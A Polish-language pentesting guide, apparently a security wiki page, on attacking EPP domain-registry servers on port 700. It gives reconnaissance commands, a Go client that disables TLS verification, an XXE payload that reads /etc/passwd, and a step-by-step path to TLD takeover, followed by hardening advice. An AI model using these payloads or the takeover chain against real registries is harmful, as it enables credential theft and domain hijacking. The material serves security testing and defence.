700 - Pentesting EPP

Reading time: 5 minutes

Podstawowe informacje

Extensible Provisioning Protocol (EPP) to protokół sieciowy używany do zarządzania nazwami domen i innymi zasobami internetowymi przez rejestry nazw domen i rejestratorów. Umożliwia automatyzację procesów rejestracji, odnawiania, transferu i usuwania nazw domen, zapewniając ustandaryzowany i bezpieczny framework komunikacyjny między różnymi podmiotami w systemie nazw domen (DNS). EPP został zaprojektowany jako elastyczny i rozszerzalny, co pozwala na dodawanie nowych funkcji i poleceń w miarę ewolucji potrzeb infrastruktury internetowej.

W zasadzie jest to jeden z protokołów, które rejestrator TLD będzie oferować rejestratorom domen do rejestrowania nowych domen w TLD.

Pentest

W tym bardzo interesującym artykule można zobaczyć, jak niektórzy badacze bezpieczeństwa odkryli, że kilka implementacji tego protokołu było podatnych na XXE (XML External Entity), ponieważ protokół ten używa XML do komunikacji, co mogłoby pozwolić atakującym na przejęcie dziesiątek różnych TLD.

Enumeracja i rekonesans

Serwery EPP prawie zawsze nasłuchują na TCP 700/tcp przez TLS. Typowe wdrożenie również wymusza mutual-TLS (mTLS), więc klient musi przedstawić ważny certyfikat wydany przez CA rejestru. Niemniej jednak, wiele prywatnych testów lub wdrożeń przedprodukcyjnych zapomina o tej kontroli:

# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>

# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head

Jeśli serwer nie zakończy połączenia po handshake TLS, możesz spróbować wysłać nieautoryzowaną <hello/> wiadomość:

<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>

Klienci open-source przydatni do testowania

• epp-client (Go) – aktywnie utrzymywany, wspiera TCP/TLS oraz EPP-over-HTTPS (RFC 8730): go install github.com/domainr/epp/cmd/epp@latest
• gandi/go-epp – minimalna biblioteka klienta, która może być łatwo instrumentowana do fuzzingu lub workflow w stylu nuclei.
• afq984/php-epp-client – implementacja PHP używana przez wielu małych rejestratorów; wygodny cel do przeglądu kodu.

Przykładowy minimalny skrypt logowania+sprawdzania z Go epp-client:

package main
import (
"github.com/domainr/epp"
"crypto/tls"
)

func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}

Wspólne Słabości i Luki w Bezpieczeństwie 2023-2025

Ładunek XXE / SSRF (działa przeciwko wielu implementacjom Java/Spring)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>

Kiedy parser jest źle skonfigurowany (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true), zawartość pliku jest zwracana w strukturze <resData>.

Inne typowe ustalenia

1. Słaba polityka haseł – hasła logowania EPP krótsze niż 8 znaków; atak siłowy jest często wykonalny, ponieważ specyfikacja tylko ZALECA (nie wymaga) ograniczanie szybkości.
2. Brak statusu registryLock / serverUpdateProhibited – po uwierzytelnieniu, atakujący mogą natychmiast zaktualizować rekordy NS i ukraść ruch.
3. Niepodpisane wiadomości poll – niektóre implementacje wciąż nie podpisują wiadomości Q&A poll, co umożliwia spoofing/phishing operatorów rejestrów.

Ścieżka ataku: Od zera do przejęcia TLD

1. Odkryj punkt końcowy EPP (często ukryty za ogólnym hostem, takim jak ot&e.<tld>.nic.<cc>).
2. Wykorzystaj jedną z powyższych słabości, aby uzyskać dane uwierzytelniające na poziomie rejestratora (XXE → SSRF do IMDSv1, eksfiltracja danych uwierzytelniających lub obejście TLS).
3. Wydaj żądania <update>, aby zmienić rekordy hostObj domeny na serwery nazw kontrolowane przez atakującego.
4. (Opcjonalnie) Złóż <transfer>, aby przenieść domenę do rejestratora kontrolowanego przez atakującego – wiele rejestrów wciąż polega na jednym kodzie autoryzacyjnym.
5. Zysk: pełna kontrola nad strefą DNS, możliwość żądania certyfikatów TLS za pośrednictwem ACME.

Środki obronne i wzmocnienie

• Wymuś mTLS z certyfikatami klienta per-rejestrator i przypnij CA rejestru.
• Ustaw parserFeature secure-processing=true lub równoważne, aby zabić XXE.
• Przeprowadzaj ciągłe fuzzing parsera XML (np. z go-fuzz lub jazzer dla Javy).
• Wdrażaj statusy Registry Lock / server*Prohibited dla domen o wysokiej wartości.
• Monitoruj kolejkę poll pod kątem podejrzanych poleceń <transfer> lub <update> i powiadamiaj w czasie rzeczywistym.
• Zmiany w umowach dotyczących nadużyć DNS ICANN 2024 wymagają od rejestrów udowodnienia kontroli szybkości i autoryzacji – wykorzystaj je.

Odnośniki

• ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Consequences of Registry Operator Failure to Implement EPP Security Controls". 2024.
• HackCompute – "Hacking EPP servers: abusing XXE to hijack TLDs" (2023).